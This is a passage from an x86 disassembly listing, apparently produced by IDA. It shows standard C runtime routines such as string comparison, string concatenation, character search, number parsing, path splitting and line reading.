; ---------------------------------------------------------------------------


loc_41C0F3:				; CODE XREF: sub_41C080+49j
					; sub_41C080+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C0FA:				; CODE XREF: sub_41C080+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C100	proc near		; CODE XREF: ___:00401338p
					; sub_401AC7+1C08p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C13F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C14C
; ---------------------------------------------------------------------------


loc_41C13F:				; CODE XREF: sub_41C100+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C14C:				; CODE XREF: sub_41C100+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C151	proc near		; CODE XREF: ___:00401318p
					; sub_401AC7+2164p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B960
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C18C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C18C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C188
		push	2
		push	ebx
		push	esi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C188:				; CODE XREF: sub_41C151+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C196
; ---------------------------------------------------------------------------


loc_41C18C:				; CODE XREF: sub_41C151+18j
					; sub_41C151+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C196
		and	byte ptr [eax],	0


loc_41C196:				; CODE XREF: sub_41C151+39j
					; sub_41C151+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C20E


loc_41C1A9:				; CODE XREF: sub_41C151+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DAC81[edx], 4
		jz	short loc_41C1BA
		inc	eax
		jmp	short loc_41C1D4
; ---------------------------------------------------------------------------


loc_41C1BA:				; CODE XREF: sub_41C151+64j
		cmp	cl, 2Fh
		jz	short loc_41C1CE
		cmp	cl, 5Ch
		jz	short loc_41C1CE
		cmp	cl, 2Eh
		jnz	short loc_41C1D4
		mov	[ebp+var_4], eax
		jmp	short loc_41C1D4
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C151+6Cj
					; sub_41C151+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C1D4:				; CODE XREF: sub_41C151+67j
					; sub_41C151+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C1A9
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C20E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C209
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C1F2
		mov	edi, esi


loc_41C1F2:				; CODE XREF: sub_41C151+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4201BE
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C209:				; CODE XREF: sub_41C151+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C218
; ---------------------------------------------------------------------------


loc_41C20E:				; CODE XREF: sub_41C151+56j
					; sub_41C151+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C218
		and	byte ptr [ecx],	0


loc_41C218:				; CODE XREF: sub_41C151+BBj
					; sub_41C151+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C26B
		cmp	edi, ebx
		jb	short loc_41C26B
		cmp	[ebp+arg_C], 0
		jz	short loc_41C248
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C231
		mov	edi, esi


loc_41C231:				; CODE XREF: sub_41C151+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4201BE
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C248:				; CODE XREF: sub_41C151+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C293
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C258
		mov	esi, eax


loc_41C258:				; CODE XREF: sub_41C151+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C293
; ---------------------------------------------------------------------------


loc_41C26B:				; CODE XREF: sub_41C151+CCj
					; sub_41C151+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C289
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C27A
		mov	esi, eax


loc_41C27A:				; CODE XREF: sub_41C151+125j
		push	esi
		push	ebx
		push	edi
		call	sub_4201BE
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C289:				; CODE XREF: sub_41C151+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C293
		and	byte ptr [eax],	0


loc_41C293:				; CODE XREF: sub_41C151+FCj
					; sub_41C151+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C151	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C2A0	proc near		; CODE XREF: sub_40194F+8p
					; sub_401AC7+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C2C0


loc_41C2AC:				; CODE XREF: sub_41C2A0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C2AC


loc_41C2C0:				; CODE XREF: sub_41C2A0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C2A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2CF	proc near		; CODE XREF: sub_401AC7+73E0p
					; sub_401AC7+740Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C2E3
		xor	eax, eax
		jmp	short loc_41C319
; ---------------------------------------------------------------------------


loc_41C2E3:				; CODE XREF: sub_41C2CF+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C313
		mov	esi, [ebp+arg_8]


loc_41C2EC:				; CODE XREF: sub_41C2CF+42j
		dec	dword ptr [esi+4]
		js	short loc_41C2FB
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C302
; ---------------------------------------------------------------------------


loc_41C2FB:				; CODE XREF: sub_41C2CF+20j
		push	esi
		call	sub_41EF78
		pop	ecx


loc_41C302:				; CODE XREF: sub_41C2CF+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C31D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C313
		dec	[ebp+arg_4]
		jnz	short loc_41C2EC


loc_41C313:				; CODE XREF: sub_41C2CF+18j
					; sub_41C2CF+3Dj ...
		and	byte ptr [edi],	0


loc_41C316:				; CODE XREF: sub_41C2CF+55j
		mov	eax, ebx
		pop	esi


loc_41C319:				; CODE XREF: sub_41C2CF+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C31D:				; CODE XREF: sub_41C2CF+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C313
		xor	ebx, ebx
		jmp	short loc_41C316
sub_41C2CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C326	proc near		; CODE XREF: sub_41C52E+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C33E:				; CODE XREF: sub_41C326+46j
		cmp	dword_43A88C, 1
		jle	short loc_41C356
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C365
; ---------------------------------------------------------------------------


loc_41C356:				; CODE XREF: sub_41C326+1Fj
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C365:				; CODE XREF: sub_41C326+2Ej
		test	eax, eax
		jz	short loc_41C36E
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C33E
; ---------------------------------------------------------------------------


loc_41C36E:				; CODE XREF: sub_41C326+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C37C
		or	[ebp+arg_C], 2
		jmp	short loc_41C381
; ---------------------------------------------------------------------------


loc_41C37C:				; CODE XREF: sub_41C326+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C387


loc_41C381:				; CODE XREF: sub_41C326+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C387:				; CODE XREF: sub_41C326+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C51E
		cmp	eax, 1
		jz	loc_41C51E
		cmp	eax, 24h
		jg	loc_41C51E
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C3CF
		cmp	bl, 30h
		jz	short loc_41C3B9
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C3EB
; ---------------------------------------------------------------------------


loc_41C3B9:				; CODE XREF: sub_41C326+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C3CC
		cmp	al, 58h
		jz	short loc_41C3CC
		mov	[ebp+arg_8], 8
		jmp	short loc_41C3EB
; ---------------------------------------------------------------------------


loc_41C3CC:				; CODE XREF: sub_41C326+97j
					; sub_41C326+9Bj
		mov	[ebp+arg_8], ecx


loc_41C3CF:				; CODE XREF: sub_41C326+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C3EB
		cmp	bl, 30h
		jnz	short loc_41C3EB
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C3E3
		cmp	al, 58h
		jnz	short loc_41C3EB


loc_41C3E3:				; CODE XREF: sub_41C326+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C3EB:				; CODE XREF: sub_41C326+91j
					; sub_41C326+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C3FB:				; CODE XREF: sub_41C326+16Cj
		cmp	dword_43A88C, 1
		movzx	esi, bl
		jle	short loc_41C413
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C41E
; ---------------------------------------------------------------------------


loc_41C413:				; CODE XREF: sub_41C326+DFj
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C41E:				; CODE XREF: sub_41C326+EBj
		test	eax, eax
		jz	short loc_41C42A
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C45C
; ---------------------------------------------------------------------------


loc_41C42A:				; CODE XREF: sub_41C326+FAj
		cmp	dword_43A88C, 1
		jle	short loc_41C43E
		push	edi
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41C449
; ---------------------------------------------------------------------------


loc_41C43E:				; CODE XREF: sub_41C326+10Bj
		mov	eax, off_43A680
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C449:				; CODE XREF: sub_41C326+116j
		test	eax, eax
		jz	short loc_41C497
		movsx	eax, bl
		push	eax
		call	sub_420248
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C45C:				; CODE XREF: sub_41C326+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C497
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C481
		jnz	short loc_41C47B
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C481


loc_41C47B:				; CODE XREF: sub_41C326+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C48A
; ---------------------------------------------------------------------------


loc_41C481:				; CODE XREF: sub_41C326+145j
					; sub_41C326+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C48A:				; CODE XREF: sub_41C326+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C3FB
; ---------------------------------------------------------------------------


loc_41C497:				; CODE XREF: sub_41C326+125j
					; sub_41C326+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C4B5
		test	edx, edx
		jz	short loc_41C4AF
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C4AF:				; CODE XREF: sub_41C326+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C502
; ---------------------------------------------------------------------------


loc_41C4B5:				; CODE XREF: sub_41C326+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C4DB
		test	cl, 1
		jnz	short loc_41C502
		and	ecx, 2
		jz	short loc_41C4D2
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C4DB


loc_41C4D2:				; CODE XREF: sub_41C326+1A1j
		test	ecx, ecx
		jnz	short loc_41C502
		cmp	[ebp+var_8], eax
		jbe	short loc_41C502


loc_41C4DB:				; CODE XREF: sub_41C326+197j
					; sub_41C326+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4D9714, 22h
		jz	short loc_41C4F1
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C502
; ---------------------------------------------------------------------------


loc_41C4F1:				; CODE XREF: sub_41C326+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C502:				; CODE XREF: sub_41C326+18Dj
					; sub_41C326+19Cj ...
		test	edx, edx
		jz	short loc_41C50B
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C50B:				; CODE XREF: sub_41C326+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C519
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C519:				; CODE XREF: sub_41C326+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C529
; ---------------------------------------------------------------------------


loc_41C51E:				; CODE XREF: sub_41C326+66j
					; sub_41C326+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C527
		mov	[eax], edi


loc_41C527:				; CODE XREF: sub_41C326+1FDj
		xor	eax, eax


loc_41C529:				; CODE XREF: sub_41C326+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C326	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C52E	proc near		; CODE XREF: sub_401AC7+6131p
					; sub_401AC7+6962p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C326
		add	esp, 10h
		retn
sub_41C52E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C545	proc near		; CODE XREF: sub_401AC7+58F7p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26807FFh
		test	eax, eax
		jnz	short loc_41C55B
		call	near ptr 2680DCDh
		nop
		jmp	short loc_41C55D
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C545+Cj
		xor	eax, eax


loc_41C55D:				; CODE XREF: sub_41C545+14j
		test	eax, eax
		jz	short loc_41C56C
		push	eax
		call	sub_420314
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C56C:				; CODE XREF: sub_41C545+1Aj
		xor	eax, eax
		retn
sub_41C545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C56F	proc near		; CODE XREF: sub_401AC7+584Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_42037B
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F5D4
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420408
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C56F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5B0	proc near		; CODE XREF: sub_401AC7+1E0Fp
					; sub_401AC7+1E2Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C5D1
		xor	eax, eax
		jmp	short loc_41C5D3
; ---------------------------------------------------------------------------


loc_41C5D1:				; CODE XREF: sub_41C5B0+1Bj
		mov	eax, edi


loc_41C5D3:				; CODE XREF: sub_41C5B0+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5E0	proc near		; CODE XREF: sub_401AC7+84Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C611
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C60F
		jz	short loc_41C611
		dec	ecx
		dec	ecx


loc_41C60F:				; CODE XREF: sub_41C5E0+29j
		not	ecx


loc_41C611:				; CODE XREF: sub_41C5E0+9j
					; sub_41C5E0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C620	proc near		; CODE XREF: sub_401AC7+42Ap
					; sub_401AC7+2FEDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C691
sub_41C620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C630	proc near		; CODE XREF: sub_401AC7+433p
					; sub_401AC7+7468p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C64C


loc_41C63D:				; CODE XREF: sub_41C630+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C67F
		test	ecx, 3
		jnz	short loc_41C63D


loc_41C64C:				; CODE XREF: sub_41C630+Bj
					; sub_41C630+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C64C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C68E
		test	ah, ah
		jz	short loc_41C689
		test	eax, 0FF0000h
		jz	short loc_41C684
		test	eax, 0FF000000h
		jz	short loc_41C67F
		jmp	short loc_41C64C
; ---------------------------------------------------------------------------


loc_41C67F:				; CODE XREF: sub_41C630+12j
					; sub_41C630+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C684:				; CODE XREF: sub_41C630+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C689:				; CODE XREF: sub_41C630+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C691
; ---------------------------------------------------------------------------


loc_41C68E:				; CODE XREF: sub_41C630+39j
		lea	edi, [ecx-4]


loc_41C691:				; CODE XREF: sub_41C620+5j
					; sub_41C630+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C6B6


loc_41C69D:				; CODE XREF: sub_41C630+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C708
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C69D
		jmp	short loc_41C6B6
; ---------------------------------------------------------------------------


loc_41C6B1:				; CODE XREF: sub_41C630+9Ej
					; sub_41C630+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C6B6:				; CODE XREF: sub_41C630+6Bj
					; sub_41C630+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C6B1
		test	dl, dl
		jz	short loc_41C708
		test	dh, dh
		jz	short loc_41C6FF
		test	edx, 0FF0000h
		jz	short loc_41C6F2
		test	edx, 0FF000000h
		jz	short loc_41C6EA
		jmp	short loc_41C6B1
; ---------------------------------------------------------------------------


loc_41C6EA:				; CODE XREF: sub_41C630+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C6F2:				; CODE XREF: sub_41C630+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C630+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C708:				; CODE XREF: sub_41C630+72j
					; sub_41C630+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C630	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C720


loc_41C710:				; CODE XREF: sub_41C720+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C720
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C720	proc near		; CODE XREF: sub_401AC7+40Fp
					; sub_401AC7+4B6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C710 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C726:				; CODE XREF: sub_41C080+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C74B


loc_41C738:				; CODE XREF: sub_41C720+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C710
		test	cl, cl
		jz	short loc_41C794
		test	edx, 3
		jnz	short loc_41C738


loc_41C74B:				; CODE XREF: sub_41C720+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C756:				; CODE XREF: sub_41C720+61j
					; sub_41C720+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C798
		and	eax, 81010100h
		jz	short loc_41C756
		and	eax, 1010100h
		jnz	short loc_41C792
		and	esi, 80000000h
		jnz	short loc_41C756


loc_41C792:				; CODE XREF: sub_41C720+68j
					; sub_41C720+81j ...
		pop	esi
		pop	edi


loc_41C794:				; CODE XREF: sub_41C720+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C798:				; CODE XREF: sub_41C720+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C7D5
		test	al, al
		jz	short loc_41C792
		cmp	ah, bl
		jz	short loc_41C7CE
		test	ah, ah
		jz	short loc_41C792
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C7C7
		test	al, al
		jz	short loc_41C792
		cmp	ah, bl
		jz	short loc_41C7C0
		test	ah, ah
		jz	short loc_41C792
		jmp	short loc_41C756
; ---------------------------------------------------------------------------


loc_41C7C0:				; CODE XREF: sub_41C720+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7C7:				; CODE XREF: sub_41C720+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7CE:				; CODE XREF: sub_41C720+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C7D5:				; CODE XREF: sub_41C720+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C7E0	proc near		; CODE XREF: sub_401AC7+1AEp
					; sub_401AC7+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C82C


loc_41C7F0:				; CODE XREF: sub_41C7E0+3Cj
					; sub_41C7E0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+1]
		jnz	short loc_41C824
		or	ah, ah
		jz	short loc_41C820
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+3]
		jnz	short loc_41C824
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C7F0
		mov	edi, edi


loc_41C820:				; CODE XREF: sub_41C7E0+18j
					; sub_41C7E0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C824:				; CODE XREF: sub_41C7E0+14j
					; sub_41C7E0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C82C:				; CODE XREF: sub_41C7E0+Ej
		test	edx, 1
		jz	short loc_41C848
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C824
		inc	ecx
		or	al, al
		jz	short loc_41C820
		test	edx, 2
		jz	short loc_41C7F0


loc_41C848:				; CODE XREF: sub_41C7E0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C824
		or	al, al
		jz	short loc_41C820
		cmp	ah, [ecx+1]
		jnz	short loc_41C824
		or	ah, ah
		jz	short loc_41C820
		add	ecx, 2
		jmp	short loc_41C7F0
sub_41C7E0	endp


; =============== S U B	R O U T	I N E =======================================

